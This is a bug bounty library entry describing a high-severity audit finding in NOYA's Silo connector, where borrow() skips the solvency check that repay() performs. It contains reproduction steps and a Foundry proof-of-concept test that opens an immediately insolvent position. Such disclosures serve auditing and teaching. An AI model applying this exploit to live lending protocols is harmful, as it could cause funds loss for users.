# It is possible to open insolvent position in Silo connector, due to missing check in borrow function

SiloConnector.borrow lacks the solvency check present in repay, letting a manager open an immediately insolvent Silo position below minimum health factor.

- Payout: Audit contest
- Severity: high
- Program: NOYA
- Found by: KYP
- Disclosed: 2025-02-17
- Write-up quality: 6/10
- Original: https://github.com/code-423n4/2024-04-noya-findings/issues/926
- Library page: https://bugbountylibrary.com/r/c4%3A2024-04-noya%3AH-16
- Tags: area:web3 domain:web3 impact:funds-loss impact:integrity kind:contest platform:code4rena sev:high tech:solidity technique:source-review vuln:accounting-error vuln:liquidation

**Target:** SiloConnector.borrow in NOYA connectors (Silo lending integration)
**Root cause:** borrow() calls silo.borrow without verifying SolvencyV2.isSolvent against minimumHealthFactor, unlike repay() which enforces it.
**Steps:**
1. Deploy/fork Silo connector test setup with USDC silo and Chainlink oracle.
2. Deposit ~115% of 2 ETH value in USDC as collateral via `connector.deposit(USDC, USDC, _amount, true)`.
3. Call `connector.borrow(USDC, WETH, 2e18)` borrowing 2 WETH against ~7000 USDC collateral.
4. Call `SolvencyV2.isSolvent(silo, address(connector), connector.minimumHealthFactor())` and observe it returns false.
5. Run `forge test --mt test_borrowAndRepay -vv` to confirm insolvent position opened.
**How found:** Compared borrow() and repay() in SiloConnector and noticed repay enforces SolvencyV2.isSolvent while borrow does not, then wrote a Foundry test borrowing 2 WETH against ~7000 USDC collateral to confirm insolvency.
**Exploitation:** A manager opens a Silo position whose health factor is below the protocol minimum in a single borrow call; the position is immediately liquidatable and violates the solvency invariant.
**Insight:** When auditing connector/adapter wrappers, diff sibling functions (borrow vs repay, mint vs redeem) for asymmetric invariant checks; a solvency/health check present on the exit path but absent on the entry path is a recurring high-severity pattern.

## Proof of concept (copied exactly from the original report)

**Foundry test opening insolvent Silo position**

```
function test_borrowAndRepay() public {        
    // Get value of 1 WETH in USDC
    uint256 wethPrice = chainlinkOracle.getValue(address(WETH), address(840), 1 ether);
    console.log("weth price :", wethPrice); // 2903,25841858

    // Deal a bit more (15%) USDC than the amount of 2 ETH. Mul by 23 and div by 10 so we deposit 115% USDC per ETH - 23/2 ETH = 1.15
    uint256 _amount = wethPrice * 23 / 100 / 10; // Divide by 100 because oracle price is 8 dec and USDC is 6. 
    console.log("USDC deposited:", _amount);

    _dealWhale(baseToken, address(connector), USDC_Whale, _amount);

    vm.startPrank(address(owner));

    // siloToken, deposit token, amount, open position
    connector.deposit(USDC, USDC, _amount, true);

    // siloToken, borrow token, amount
    connector.borrow(USDC, WETH, 2e18); // borrow 2 WETH in exchange for ~7000 USDC as collateral

    // Get silo repository from connector
    ISiloRepository siloRepository1 = connector.siloRepository();

    // Get USDC silo from silo repository
    ISilo silo = ISilo(siloRepository1.getSilo(USDC));

    console.log("Is Solvent: %s ", SolvencyV2.isSolvent(silo, address(connector), connector.minimumHealthFactor()));

    // siloToken, repay token, amount
    connector.repay(USDC, WETH, 1e18);

    vm.stopPrank();
}
```

